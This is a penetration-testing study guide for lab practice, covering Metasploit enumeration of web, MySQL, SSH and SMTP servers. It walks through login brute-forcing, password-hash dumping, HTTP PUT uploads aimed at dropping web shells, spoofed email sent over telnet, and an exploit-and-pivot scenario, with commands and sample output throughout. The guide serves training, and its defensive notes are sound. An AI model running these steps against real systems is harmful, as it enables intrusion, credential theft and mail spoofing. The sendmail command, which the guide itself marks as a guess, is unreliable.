Theory in simple words, plus an analogy. A web server is like a shop front. The headers are the sign above the door telling you the brand (Apache, IIS). The directory and file scan is walking around the back to find doors the owner forgot were unlocked (`/cgi-bin/` , `/backup/`). The login brute-force is trying the staff door with a list of common keys.

How it works:

1. Grab HTTP headers to identify server software and version.
2. Brute-force common directory names to map hidden paths.
3. Brute-force common file names inside a known path.
4. Enumerate real OS/system usernames through the `mod_userdir` Apache feature, if present.
5. Brute-force an HTTP login form or HTTP Basic/Digest auth prompt.
6. If the server allows it, upload a file with HTTP `PUT` to prove write access (and, later, to drop a web shell).

Hands-on.

Purpose: pull the HTTP response headers.

```
use auxiliary/scanner/http/http_header
show options
set RHOSTS 192.140.160.3
run
```

Part-by-part (key options):

Option	Meaning
`HTTP_METHOD`	`HEAD` (headers only) or `GET` (full response)
`IGN_HEADER`	comma-separated headers to ignore in the output
`TARGETURI`	path to request (default `/`)

Sample output:

```
[+] 192.140.160.3:80 : CONTENT-TYPE: text/html
[+] 192.140.160.3:80 : LAST-MODIFIED: Wed, 27 Feb 2019
[+] 192.140.160.3:80 : SERVER: Apache/2.4.18 (Ubuntu)
[+] 192.140.160.3:80 : detected 3 headers
```

How to read it: the `SERVER` header names Apache 2.4.18 on Ubuntu, enough to search for matching CVEs.

Purpose: brute-force common directory names.

```
use auxiliary/scanner/http/dir_scanner
show options
run
```

Part-by-part (key options):

Option	Meaning
`DICTIONARY`	word list of directory names to try (default `wmap_dirs.txt`)
`PATH`	base path to start from (default `/`)

Sample output:

```
[*] Using code '404' as not found for 192.140.160.3
[+] Found http://192.140.160.3:80/cgi-bin/ 404
[+] Found http://192.140.160.3:80/data/ 404
[+] Found http://192.140.160.3:80/downloads/ 404
[+] Found http://192.140.160.3:80/doc/ 404
[+] Found http://192.140.160.3:80/icons/ 404
```

How to read it: the module first learns what a genuinely missing page looks like (status 404), then flags any dictionary word that does NOT return that same "not found" signature as "Found" (it may still show 404 text on the page but return 200/301 at the HTTP level, or vice versa; always verify manually with `curl -I` when a result looks odd).

Purpose: brute-force common file names inside a path.

```
use auxiliary/scanner/http/files_dir
show options
```

Part-by-part: `DICTIONARY` (default `wmap_files.txt`) is the file name word list; `EXT` optionally appends an extension (`.php`, `.txt`) to every guessed name; `PATH` is the directory to search inside.

Purpose: enumerate real system usernames through Apache's per-user web directories (`mod_userdir`).

```
use auxiliary/scanner/http/apache_userdir_enum
set USER_FILE /usr/share/metasploit-framework/data/\
wordlists/common_users.txt
set RHOSTS victim-1
set VERBOSE false
run
```

Part-by-part: `TARGETURI` is the base path to the per-user home page (default `/`); `USER_FILE` supplies candidate usernames (default `unix_users.txt`); the module requests `/~<username>/` for each candidate and reads the HTTP status to decide if that OS account exists.

Sample output:

```
[+] http://192.74.12.3/ - Apache UserDir: 'rooty' found
[+] http://192.74.12.3/ - Apache UserDir: 'backup' found
[+] http://192.74.12.3/ - Apache UserDir: 'bin' found
...
[+] http://192.74.12.3/ - Users found: backup, bin, daemon,
    games, gnats, irc, list, lp, mail, man, news, nobody,
    proxy, rooty, sync, sys, uucp
```

How to read it: every name in "Users found" is a real OS-level account on the web server, discovered purely through an HTTP feature, no login needed.

Purpose: brute-force an HTTP login (Basic/Digest auth or a login form).

```
use auxiliary/scanner/http/http_login
set AUTH_URI /secure/
set RHOSTS victim-1
set VERBOSE false
run
```

Part-by-part (key options):

Option	Meaning
`AUTH_URI`	the path protected by authentication
`PASS_FILE`	passwords to try (default `http_default_pass.txt`)
`USER_FILE`	usernames to try (default `http_default_users.txt`)
`USERPASS_FILE`	combined user/pass pairs (unset it if you want full cross-product brute-forcing from separate `USER_FILE` / `PASS_FILE` instead)
`REQUESTTYPE`	`GET`, `PUT` (for Digest auth), or `PROPFIND` (for WebDAV)

Sample output:

```
[*] Attempting to login to http://victim-1:80/secure/
[+] 192.236.2.3:80 - Success: 'bob:123321'
```

Purpose: prove the server accepts file uploads via the HTTP `PUT` method, and verify the write.

```
use auxiliary/scanner/http/http_put
set RHOSTS victim-1
set PATH /data
set FILENAME test.txt
set FILEDATA "Welcome To AttackDefense"
run
```

Part-by-part: `PATH` is the writable directory; `FILENAME` is the name to write; `FILEDATA` is the literal content to place in the file.

Sample output:

```
[+] File uploaded: http://192.74.12.3:80/data/test.txt
```

> **REMEMBER:** if a file with that name already exists, `http_put` silently overwrites it. Check first (e.g. by browsing the path) before uploading onto a file you may need later.

Verify with a plain HTTP download:

```
wget http://victim-1:80/data/test.txt
cat test.txt
```

Worked example. Target `victim-1` runs Apache.

```
use auxiliary/scanner/http/http_header
set RHOSTS victim-1
run
```

shows Apache 2.4.18. You run `dir_scanner`, find `/secure/`; you run `http_login` against `AUTH_URI /secure/` and get `bob:123321`. You then run `apache_userdir_enum` and confirm `bob` is also a real OS account, worth trying the same password against SSH.

Lab question angle: "What web server software and version is running?" (headers), "What hidden directory did you find?" (dir_scanner), "What valid username/password pair protects the /secure/ path?" (http_login), "Can you write a file to the web root?" (http_put).

Why it works and how defenders stop it: headers and `mod_userdir` are convenience features that leak information by design; weak or default HTTP credentials get brute-forced because there is no account lockout on most basic-auth setups; `PUT` support left enabled in a web server config allows arbitrary writes. Defenders strip/mask headers, disable `mod_userdir`, use strong unique credentials with lockouts, and disable the `PUT` / `DELETE` HTTP methods unless a specific app needs them (WebDAV).

Memory aid: "Header, Dirs, Files, Users, Login, Put" is the HTTP enumeration order used in this module.

3.8 MySQL Enumeration

In one line: MySQL is a relational database system that normally listens on TCP port 3306, and enumerating it means getting its version, logging in, listing databases and schemas, running SQL, and pulling password hashes.

Theory in simple words, plus an analogy. A database server is a locked filing room full of labeled cabinets (databases), each with its own drawers (tables). Enumeration here means first reading the label on the door (version), then finding a key that opens it (login), then reading the cabinet directory (schema) before opening individual drawers (rows).

How it works:

1. Grab the MySQL version banner.
2. Brute-force a login (commonly against `root`).
3. Enumerate MySQL-level user accounts.
4. Run arbitrary SQL through Metasploit once authenticated.
5. Dump the full schema (database and table names).
6. Dump password hashes for offline cracking.
7. Check for writable server-side directories (useful for later file writes or privilege escalation).
8. Confirm everything by connecting directly with the `mysql` CLI client.

Hands-on.

Purpose: grab the MySQL version.

```
use auxiliary/scanner/mysql/mysql_version
show options
set RHOSTS 192.143.6.3
run
```

Part-by-part: `RHOSTS` / `RPORT` (default 3306) and `THREADS` are the only options; this module just connects and reads the server's handshake banner.

Sample output:

```
[+] 192.143.6.3:3306 - is running MySQL
    5.5.61-0ubuntu0.14.04.1 (protocol 10)
```

Purpose: brute-force the login.

```
use auxiliary/scanner/mysql/mysql_login
run
```

Sample output:

```
[+] 192.143.6.3:3306 - Success: 'root:twinkle'
```

> **ADDED CONTEXT:** in Metasploit 6.4 and later, `mysql_login` gained a `CreateSession` option that can open an interactive session directly from a successful brute-force, instead of requiring a separate manual login step.

Purpose: enumerate MySQL-level user accounts once you have working credentials.

```
use auxiliary/admin/mysql/mysql_enum
set USERNAME root
set PASSWORD twinkle
set RHOSTS 192.143.6.3
run
```

Sample output (abridged):

```
[*] 192.143.6.3:3306 - User: filetest Host: %
[*] 192.143.6.3:3306 - User: root Host: %
```

How to read it: `Host: %` means that account is allowed to connect from any host, a broad, often risky, configuration worth noting for the report.

Purpose: run arbitrary SQL statements through the module.

```
use auxiliary/admin/mysql/mysql_sql
set PASSWORD twinkle
set USERNAME root
set SQL "select version()"
run
```

Part-by-part: `SQL` is the literal statement to execute (default `select version()`); change it to any statement, like `show databases;`.

Sample output:

```
[*] Sending statement: 'select version()'...
[*] | 5.5.61-0ubuntu0.14.04.1 |
```

Purpose: list databases, then switch into one.

```
set SQL show databases;
run
```

```
| information_schema |
| mysql              |
| performance_schema  |
| upload             |
| vendors            |
| videos             |
| warehouse          |
```

```
set SQL use videos;
run
```

Purpose: dump the entire schema (every database and table name) in one shot, instead of querying each manually.

```
use auxiliary/scanner/mysql/mysql_schemadump
set DISPLAY_RESULTS true
set PASSWORD twinkle
set USERNAME root
set RHOSTS 192.143.6.3
run
```

Part-by-part: `DISPLAY_RESULTS` prints the schema to screen as well as saving it to loot.

Sample output:

```
[+] Schema stored in: /root/.msf4/loot/..._mysql_schema_...txt
- DBName: upload
  Tables: []
- DBName: vendors
  Tables: []
- DBName: videos
  Tables: []
- DBName: warehouse
  Tables: []
```

How to read it: all four application databases exist but show no tables here (verify: the account used may lack `SELECT` rights on `information_schema` for those DBs, or the DBs are genuinely empty in this lab instance).

Purpose: read back everything the database now holds about this target.

```
hosts
services
loot
creds
```

Sample `creds` output (abridged):

```
host        public          private        private_type
----        ------          -------        ------------
192.143.6.3  root                          Blank password
192.143.6.3  root            *A0E23B56...    Nonreplayable hash
192.143.6.3  root            twinkle         Password
192.143.6.3  debian-sys-maint  *F4E71A0B...    Nonreplayable hash
192.143.6.3  filetest         *81F5E21E...    Nonreplayable hash
192.143.6.3  guest            *17FD2DDC...    Nonreplayable hash
192.143.6.3  gopher           *027ADC92...    Nonreplayable hash
192.143.6.3  backup           *E6DEAD26...    Nonreplayable hash
192.143.6.3  sysadmin         *78A12580...    Nonreplayable hash
```

How to read it: every account the server knows about now has a row; `Password` rows are cracked/known plaintext, `Nonreplayable hash` rows are MySQL's password hash format (`mysql-sha1` , verify exact algorithm name per Metasploit version) ready for offline cracking with Hashcat or John.

Purpose: dump password hashes directly (a focused version of what `creds` already shows, with the explicit module shown in the notes).

```
use auxiliary/scanner/mysql/mysql_hashdump
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
run
```

Sample output:

```
[+] Saving HashString as Loot: root:*A0E23B565BACCE3E7...
[+] Saving HashString as Loot: debian-sys-maint:*F4E7...
[+] Saving HashString as Loot: filetest:*81F5E21E3540...
```

Purpose: find server-side directories the MySQL process can write to (useful to later write a web shell if the web root overlaps, or to drop files for privilege escalation).

```
use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS demo.ine.local
set USERNAME root
set PASSWORD twinkle
set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
run
```

Part-by-part: `DIR_LIST` is a list of candidate directory paths to test; the module tries to write a small randomly-named test file (seen in the notes as `hKntHGFa` , containing the text `test`) into each one.

Sample output:

```
[+] 192.89.45.3:3306 - /tmp is writeable
[+] 192.89.45.3:3306 - /root is writeable
[!] Can't create/write to file '/etc/passwd/hKntHGFa'
    (Errcode: 20)
[!] Can't create/write to file '/home/hKntHGFa'
    (Errcode: 13)
```

How to read it: `/tmp` and `/root` accept writes (this means the MySQL server process runs with very high privileges here, worth flagging for the report); the error codes are standard Linux `errno` values (20 = "Not a directory", because `/etc/passwd` is a file, not a folder; 13 = "Permission denied").

Purpose: confirm everything by connecting with the real `mysql` CLI client.

```
mysql -h 192.143.6.3 -u root -p
```

Common mistake: running `mysql 192.143.6.3 -u root -p` without `-h` tries to connect to a local MySQL socket instead of the remote host and fails with a socket error, as shown in the notes:

```
ERROR 2002 (HY000): Can't connect to local MySQL server
through socket '/var/run/mysqld/mysqld.sock' (2)
```

Always use `-h <host>` for a remote connection.

Sample output on success:

```
Welcome to the MariaDB monitor.
Server version: 5.5.61-0ubuntu0.14.04.1 (Ubuntu)
MySQL [(none)]>
```

Worked example. Target 10.10.10.60 has port 3306 open.

```
use auxiliary/scanner/mysql/mysql_version
set RHOSTS 10.10.10.60
run
```

Version 5.5.x shown. Brute-force with `mysql_login` returns `root:toor123`. You run `mysql_enum`, `mysql_schemadump`, then connect directly with `mysql -h 10.10.10.60 -u root -p` to run `SELECT * FROM users;` against an interesting database you spotted in the schema dump.

Lab question angle: "What is the MySQL root password?" (from `mysql_login` / `creds`), "What databases exist on the server?" (from `mysql_sql` or `mysql_schemadump`), "Which directories are writable by the MySQL service account?" (from `mysql_writable_dirs`).

Why it works and how defenders stop it: weak or default root passwords and accounts allowed to connect from any host (`%`) are common misconfigurations. Defenders set strong unique passwords, bind MySQL to localhost only when remote access is not needed, restrict

account `Host` values, and run the database service under a low-privilege OS account so a compromise does not grant broad filesystem write access.

Memory aid: "Version, Login, Enum, SQL, Schema, Hash, Write" is the MySQL enumeration order in this module.

3.9 SSH Enumeration

In one line: SSH (Secure Shell) is the encrypted remote-access protocol that replaced Telnet, normally on TCP port 22, and enumeration here means grabbing its version and testing which usernames exist.

Theory in simple words, plus an analogy. SSH is a locked, armored front door (encrypted), unlike Telnet's glass door (plain text). You cannot read the traffic, but you can still knock and learn things: the exact lock brand (version banner) and, through certain flaws, whether a specific name is on the mailbox even before you have a key (username enumeration).

How it works:

1. Grab the SSH version banner.
2. Search for exploits matching that exact version.
3. If you already hold a session (for example from a successful brute-force login module), interact with it directly from `msfconsole`.
4. Enumerate valid usernames with a dedicated auxiliary module.

Hands-on.

Purpose: grab the SSH banner/version.

```
use auxiliary/scanner/ssh/ssh_version
show options
set RHOSTS 192.30.120.3
run
```

Sample output:

```
[+] 192.30.120.3:22 - SSH server version:
   SSH-2.0-OpenSSH_7.9p1 Ubuntu-10
   ( os.vendor=Ubuntu os.version=19.04 )
```

How to read it: the banner names OpenSSH 7.9p1 on Ubuntu 10 (packaging revision) running on Ubuntu Linux 19.04, both useful facts for exploit and OS questions.

Purpose: search for exploits related to the exact version found.

```
search openssh
```

Sample output (abridged):

```
 #  Name                                Rank    Check
 -  ----                                ----    -----
 0  auxiliary/scanner/ssh/ssh_enumusers   normal  No
 2  post/multi/gather/ssh_creds           normal  No
```

Purpose: if an earlier module (e.g. `ssh_login`, not shown in full here) already produced an open session, list and interact with it directly.

```
sessions
sessions 1
```

Sample output:

```
Id Name  Type    Information
-- ----  ----    -----------
1  shell unknown SSH sysadmin:hailey (192.30.120.3:22)
```

After `sessions 1`:

```
Welcome to Ubuntu 19.04 (GNU/Linux 5.4.0-88-generic x86_64)
sysadmin@victim-1:~$ whoami
sysadmin
```

How to read it: the session label already shows the credential pair that worked (`sysadmin:hailey`); `whoami` from inside the shell confirms which OS account you actually landed in.

Purpose: enumerate valid SSH usernames without ever logging in, using a timing/response difference in the SSH authentication exchange.

```
use auxiliary/scanner/ssh/ssh_enumusers
set USER_FILE /usr/share/metasploit-framework/data/\
wordlists/common_users.txt
run
```

Part-by-part (key options):

Option	Meaning
`CHECK_FALSE`	also test a random, almost-certainly-invalid username, to catch false positives
`THRESHOLD`	seconds of delay needed before a user is considered "found" (timing-attack variant)
`USERNAME`	a single username to test instead of a file
`USER_FILE`	file of candidate usernames, one per line

Sample output:

```
[*] Using malformed packet technique
[+] User 'sysadmin' found
[+] User 'rooty' found
[+] User 'demo' found
[+] User 'auditor' found
[+] User 'anon' found
[+] User 'administrator' found
[+] User 'diag' found
```

How to read it: every "found" name is a real OS account on the SSH server, discovered purely from how the server responds to an authentication attempt, with no valid password needed yet. These names feed directly into an SSH login brute-force (`ssh_login`), or an FTP/SMB login attempt if you suspect password reuse across services.

Common mistake: treating `ssh_enumusers` results as 100 percent certain. Some OpenSSH versions patched the underlying timing/response flaw, which produces false positives or false negatives; always confirm with `CHECK_FALSE` enabled or by testing a login.

Worked example. Target 10.10.10.70 has SSH open.

```
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.10.10.70
run
```

shows OpenSSH 7.9. You run `ssh_enumusers` with a common user list and find `backupadmin`. You then try that username against the password found earlier on an FTP server on the same host (password reuse is extremely common across services run by the same administrator).

Lab question angle: "What version of SSH is running?" (banner), "What valid usernames exist on the SSH server?" (`ssh_enumusers`), "What credentials were used to establish the open session?" (`sessions` list).

Why it works and how defenders stop it: version banners are sent to negotiate protocol features; the user enumeration flaw comes from subtle differences in how the server replies to a valid versus invalid username during authentication. Defenders patch OpenSSH to a version that responds identically either way, disable password authentication in favor of keys, and apply fail2ban-style lockouts.

Memory aid: "Banner tells the brand, enumusers tells the names."

3.10 SMTP Enumeration

In one line: SMTP (Simple Mail Transfer Protocol) is the protocol mail servers use to send email, normally on TCP port 25 (also sometimes 465 or 587), and it can leak valid usernames through its own built-in `VRFY` and `EXPN` commands.

Theory in simple words, plus an analogy. SMTP is like a mail room clerk who, if asked nicely ("does this person work here?"), will often answer truthfully even to a stranger. The `VRFY`

command literally means "verify this user exists"; `EXPN` means "expand this mailing list into its real member addresses." Both were designed as helpful diagnostic features, not as security controls.

How it works:

1. Search for and identify the available SMTP-related auxiliary modules.
2. Run the automated user enumeration module.
3. Manually confirm individual usernames with `VRFY` over a raw connection (netcat).
4. Discover the server's supported extended commands with `EHLO` over telnet.
5. Manually compose and send a raw email to prove you can relay mail, or to demonstrate spoofing a `From` address.

Hands-on. Tools: Metasploit, plus the raw connection tools `nc` (netcat) and `telnet`, both standard on Kali.

Purpose: find SMTP-related auxiliary modules.

```
search type:auxiliary name:smtp
```

Sample output:

```
 #  Name                          Rank   Check
 -  ----                        ----   -----
 4  auxiliary/scanner/smtp/smtp_enum         Yes
 5  auxiliary/scanner/smtp/smtp_ntlm_domain   Yes
 6  auxiliary/scanner/smtp/smtp_relay        Yes
 7  auxiliary/scanner/smtp/smtp_version      Yes
```

Purpose: read what `smtp_enum` actually does before running it.

```
use auxiliary/scanner/smtp/smtp_enum
info
```

Sample output (abridged):

```
Description:
  The SMTP service has two internal commands that allow
  enumeration of users: VRFY (confirming the names of valid
  users) and EXPN (revealing real addresses behind aliases
  or mailing lists).
References:
  CVE-1999-0531
```

Purpose: run the automated enumeration.

```
set RHOSTS 192.108.85.3
run
```

Part-by-part: `UNIXONLY` (default `true`) skips Microsoft-bannered servers when testing Unix-style usernames; `USER_FILE` (default `unix_users.txt`) supplies the candidate names.

Sample output:

```
[*] 192.108.85.3:25 Banner: 220 openmailbox.xyz ESMTP
    Postfix: Welcome to our mail server.
[+] Users found: admin, administrator, backup, bin,
    daemon, mail, nobody, postmaster, proxy, www-data, ...
```

Purpose: manually confirm one specific user exists, using `nc` to talk to the raw SMTP protocol and the `VRFY` command yourself.

```
nc demo.ine.local 25
```

After the connection opens, type the command directly:

```
VRFY admin@openmailbox.xyz
```

Sample output:

```
220 openmailbox.xyz ESMTP Postfix: Welcome to our mail server.
252 2.0.0 admin@openmailbox.xyz
```

How to read it: SMTP reply code `252` means "cannot verify, but will accept and attempt delivery," which in Postfix's case is commonly shown for a user that does exist (exact semantics depend on server configuration; a `550` or `551` typically means the user does not exist, verify behavior per target).

Purpose: discover the server's supported extended SMTP commands.

```
telnet demo.ine.local 25
```

Then type:

```
HELO attacker.xyz
EHLO attacker.xyz
```

Sample output:

```
220 openmailbox.xyz ESMTP Postfix: Welcome to our mail server.
250 openmailbox.xyz
250-openmailbox.xyz
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 SMTPUTF8
```

How to read it: `HELO` is the basic SMTP greeting (one capability back); `EHLO` is the Extended SMTP greeting and lists every extra feature the server supports. The `250-VRFY` line confirms the server allows the `VRFY` command used above; `STARTTLS` means the server can upgrade the plain connection to an encrypted one.

Purpose: manually compose and send a raw email over telnet, to confirm you can inject mail and, in some labs, to demonstrate address spoofing.

```
telnet demo.ine.local 25
```

Then type each line, pressing Enter after each:

```
HELO attacker.xyz
mail from: admin@attacker.xyz
rcpt to:root@openmailbox.xyz
data
Subject: Hi Root
Hello,
This is a fake mail sent using telnet command.
From,
Admin
.
```

Part-by-part:

Line	Meaning
`HELO attacker.xyz`	identify yourself to the server
`mail from:`	sets the (unverified) sender address
`rcpt to:`	sets the recipient address
`data`	starts the message body
`Subject:`	the email subject header, first line of the body
`.` on its own line	ends the message body (required terminator)

Sample output:

```
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as F26B016D4E8E
```

How to read it: each `250` / `354` line confirms the previous command was accepted; the final `250 2.0.0 Ok: queued` confirms the mail server accepted the message for delivery.

> **ADDED CONTEXT:** the same result can be produced with one command using the `sendmail` CLI tool instead of typing a telnet session by hand. [UNCLEAR on page 43]: the exact flags of this one-liner were partly covered by a highlighted overlay in the source screenshot; the command below is a best-effort reading. Verify the exact `sendmail` / `ssmtp` syntax in your own lab before relying on it.

```
sendmail -f admin@attacker.xyz -t root@openmailbox.xyz \
  -s demo.ine.local -u Fakemail \
  -m "Hi root, a fake from admin" -o tls=no
```

Part-by-part (best-effort reading): `-f` sets the sender address, `-t` the recipient, `-s` the target server, `-u` the subject, `-m` the message body, and `-o tls=no` disables TLS for the connection.

Worked example. Target 10.10.10.80 runs an SMTP server.

```
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 10.10.10.80
run
```

finds users `backupadmin` and `jsmith`. You confirm `jsmith` manually:

```
nc 10.10.10.80 25
```

```
VRFY jsmith
```

gets a `252` response, confirming the account. You now have a username to pair with passwords found elsewhere in the lab (FTP, SMB) for a login attempt against SSH or a webmail portal.

Lab question angle: "What valid email usernames exist on the mail server?" (`smtp_enum` or manual `VRFY`), "What extended commands does the SMTP server support?" (`EHLO`), "Can you confirm a specific user exists on the mail server?" (manual `VRFY` over netcat/telnet).

Why it works and how defenders stop it: `VRFY` and `EXPN` were designed decades ago as administrative conveniences, long before mail servers were routinely exposed to hostile networks. Defenders disable or restrict `VRFY` / `EXPN` to authenticated/internal clients only, and configure the server to give identical, generic responses for valid and invalid recipients to prevent enumeration.

Memory aid: "VRFY asks one, EXPN asks a list, EHLO asks for the menu."

4. Chained Scenarios

Scenario A: FTP secret to a wider foothold

Target: 10.10.20.5 (fake lab IP), scope confirmed by the lab brief.

```
nmap -Pn -sV -O 10.10.20.5 -oX scan1          # (see 3.2)
service postgresql start && msfconsole        # (see 3.3)
workspace -a ScenarioA
db_import /root/scan1                         # (see 3.3)
use auxiliary/scanner/ftp/ftp_version         # (see 3.5)
set RHOSTS 10.10.20.5
run
use auxiliary/scanner/ftp/ftp_login           # (see 3.5)
set USER_FILE /usr/share/metasploit-framework/data/\
wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/\
wordlists/unix_passwords.txt
run
ftp 10.10.20.5                                # (see 3.5)
```

Reasoning: scan first so Metasploit has the port/service context, then move straight to FTP because it was the open port of interest; version grab before brute-force saves time if a known backdoor already exists.

Scenario B: SMB null session to credentialed share access

Target: 10.10.20.6.

```
nmblookup -A 10.10.20.6                       # (see 3.6)
smbclient -L 10.10.20.6 -N                    # (see 3.6)
rpcclient -U "" -N 10.10.20.6                 # (see 3.6)
use auxiliary/scanner/smb/smb_enumusers       # (see 3.6)
set RHOSTS 10.10.20.6
run
use auxiliary/scanner/smb/smb_login           # (see 3.6)
set SMBUser admin
set PASS_FILE /usr/share/metasploit-framework/data/\
wordlists/unix_passwords.txt
run
smbclient \\\\10.10.20.6\\public -U admin     # (see 3.6)
```

Reasoning: always test null sessions before spending time brute-forcing; a found username list (`smb_enumusers`) narrows the brute-force target list for `smb_login` ; successful credentials are reused directly with `smbclient` to browse shares.

Scenario C: Web app to pivot to a second subnet, enumerate MySQL there

Target 1: 10.10.20.7 (DMZ), Target 2: 10.10.30.0/24 (internal, reached only after pivoting).

```
use auxiliary/scanner/portscan/tcp          # (see 3.4)
set RHOSTS 10.10.20.7
run
search xoda                                 # (see 3.4)
use exploit/unix/webapp/xoda_file_upload
set RHOSTS 10.10.20.7
set TARGETURI /
exploit
meterpreter > shell
ifconfig                                    # (see 3.4) -> finds eth1
                                            # on 10.10.30.0/24
# background the shell, add a route through the session (pivoting,
# covered fully in a later module), then:
use auxiliary/scanner/mysql/mysql_version     # (see 3.8)
set RHOSTS 10.10.30.10
run
use auxiliary/scanner/mysql/mysql_login
run
use auxiliary/admin/mysql/mysql_enum
set USERNAME root
set PASSWORD <found password>
run
```

Reasoning: enumerate and exploit the DMZ host first; the `ifconfig` check after getting a shell is what reveals the internal subnet; the same MySQL enumeration workflow from 3.8 then runs against the newly reachable internal host.

5. Decision Guide and Exam Strategy

"If I see X, I try Y" rules:

- If Nmap reports a host down but you expect it to be up: try `-Pn`.
- If port 21 is open: grab the version, try anonymous login, then brute-force.
- If port 139/445 is open: check for a null session before anything else, then enumerate users and shares.
- If port 80/443 is open: grab headers, brute-force directories and files, check for `mod_userdir`, test any login form found.
- If port 3306 is open: grab the version, brute-force `root`, then enumerate, run SQL, dump the schema and hashes.
- If port 22 is open: grab the version, enumerate usernames, and reuse any password already found on another service.
- If port 25 is open: enumerate users with `VRFY` / `smtp_enum`, check `EHLO` for supported features.

- If a shell lands on a host: always run `ifconfig` / `ip a` to check for a second network interface (a pivot opportunity).
- If one service gives you a credential: try that same credential against every other open service on the same host (password reuse is common in these labs).

Enumeration checklist for this module:

- [ ] Host confirmed up (even if ping-blocked, with `-Pn`).
- [ ] Every open port has a grabbed version/banner.
- [ ] FTP: anonymous tested, brute-force tried, files downloaded and read.
- [ ] SMB: null session tested, users and shares enumerated, shares browsed.
- [ ] HTTP: headers, directories, files, and `mod_userdir` checked; any login brute-forced.
- [ ] MySQL: version, login, users, schema, hashes, writable dirs all checked.
- [ ] SSH: version and usernames enumerated; any open session explored.
- [ ] SMTP: users enumerated via module and manually confirmed.
- [ ] Every credential found tried against every other open service.
- [ ] Every finding written down with the exact host, port, and value.

Common traps:

- Trusting "Host seems down" at face value.
- Forgetting that the default auxiliary port range only covers 1-10000.
- Assuming a share named after a user is only accessible by that user.
- Missing that `http_put` overwrites existing files without warning.
- Using `mysql <host>` instead of `mysql -h <host>`, which tries a local socket connection instead of a remote one.
- Treating `ssh_enumusers` results as guaranteed accurate on a patched OpenSSH version.

How to take notes in the lab: keep one line per finding in the format `host : port/service : finding : value`, for example `10.10.20.5 : 21/ftp : file : secret.txt = 260ca9dd8a4577fc00b7bd5810298076`. This format is fast to scan back through when a question asks for a specific value.

Turning findings into answers:

- Multiple choice: match your exact finding (version string, port number) against the choices; do not round or paraphrase a version number.
- Dynamic value/flag: copy the value exactly as shown in the terminal (hashes and flags are case-sensitive and must match character for character).
- Fill-in-the-blank: re-read the question for the expected format (IP only vs. IP:port, username only vs. `domain\username`) before submitting.

6. Practice

Lab-style tasks

1. Scenario: Nmap reports "Host seems down" for 10.10.40.5. Task: confirm if it is actually up. Commands: `nmap -Pn 10.10.40.5`. Expected output: a list of open ports despite the earlier "down" result. Answer: read the `PORT` / `STATE` / `SERVICE` table.
2. Scenario: you have an Nmap XML file `scan2.xml`. Task: get it into Metasploit. Commands: `workspace -a Task2`, `db_import /root/scan2.xml`, `hosts`. Expected output: host row populated. Answer: read the `address` / `os_name` columns.
3. Scenario: you want to scan and store results in one step. Task: use `db_nmap` instead of `nmap` + `db_import`. Commands: `db_nmap -Pn -sV 10.10.40.5`. Expected output: streamed Nmap output prefixed with `[*] Nmap:`. Answer: confirm with `services` afterward.
4. Scenario: port 80 is open on 10.10.40.6, default port range missed port 51234. Task: widen the auxiliary port scan. Commands: `use auxiliary/scanner/portscan/tcp`, `set PORTS 1-65535`, `set RHOSTS 10.10.40.6`, `run`. Expected output: an extra `TCP OPEN` line for port 51234. Answer: the extra open port number.
5. Scenario: FTP banner needed. Task: identify the FTP server software. Commands: `use auxiliary/scanner/ftp/ftp_version`, `set RHOSTS 10.10.40.7`, `run`. Expected output: a `220` banner line. Answer: the product and version string.
6. Scenario: FTP anonymous login. Task: check if anonymous access works. Commands: `ftp 10.10.40.7` then login as `anonymous`. Expected output: either `230 Login successful` or an authentication failure. Answer: yes/no plus any files listed.
7. Scenario: FTP brute-force. Task: find a valid FTP credential. Commands: `use auxiliary/scanner/ftp/ftp_login`, set `USER_FILE` and `PASS_FILE`, `run`. Expected output: a `Success:` line. Answer: the `user:pass` pair shown.
8. Scenario: downloaded file needs reading. Task: read the content of a file pulled from FTP. Commands: `ftp` then `get <file>`, then `cat <file>`. Expected output: file content printed to the terminal. Answer: the exact file content.
9. Scenario: SMB null session check. Task: confirm if anonymous SMB access is allowed. Commands: `smbclient -L 10.10.40.8 -N`. Expected output: a share list with no password prompt success/failure message. Answer: yes/no, plus the share names shown.
10. Scenario: SMB users needed. Task: list local SMB users. Commands: `use auxiliary/scanner/smb/smb_enumusers`, `set RHOSTS 10.10.40.8`, `run`. Expected output: a bracketed list of usernames. Answer: the full username list.
11. Scenario: SMB share browsing. Task: list files inside the "public" share. Commands: `smbclient \\\\10.10.40.8\\public -N`, then `ls`. Expected output: a directory listing. Answer: any file names found.
12. Scenario: SMB NetBIOS name. Task: find the server's NetBIOS computer name. Commands: `nmblookup -A 10.10.40.8`. Expected output: a table of `<00>` / `<03>` / `<20>` records. Answer: the name before the first `<00>` entry.
13. Scenario: HTTP headers. Task: identify the web server software. Commands: `use auxiliary/scanner/http/http_header`, `set RHOSTS 10.10.40.9`, `run`. Expected output: a `SERVER:` line. Answer: the server product and version.

14. Scenario: hidden web directories. Task: find a non-obvious directory on the web server. Commands: `use auxiliary/scanner/http/dir_scanner`, `run`. Expected output: `Found http://.../<dir>/` lines. Answer: any directory name found.
15. Scenario: Apache usernames. Task: enumerate real OS usernames via the web server. Commands: `use auxiliary/scanner/http/apache_userdir_enum`, set `USER_FILE`, `set RHOSTS 10.10.40.9`, `run`. Expected output: a "Users found:" line. Answer: the username list.
16. Scenario: HTTP login brute-force. Task: find valid credentials for a protected web path. Commands: `use auxiliary/scanner/http/http_login`, `set AUTH_URI /secure/`, `run`. Expected output: a `Success:` line. Answer: the `user:pass` pair.
17. Scenario: file upload test. Task: confirm the web server accepts `PUT` uploads. Commands: `use auxiliary/scanner/http/http_put`, set `PATH` / `FILENAME` / `FILEDATA`, `run`, then `wget` the file back. Expected output: "File uploaded" message, then matching content on download. Answer: yes/no, plus the uploaded content.
18. Scenario: MySQL version. Task: identify the MySQL version. Commands: `use auxiliary/scanner/mysql/mysql_version`, `set RHOSTS 10.10.40.10`, `run`. Expected output: a version string. Answer: the exact version.
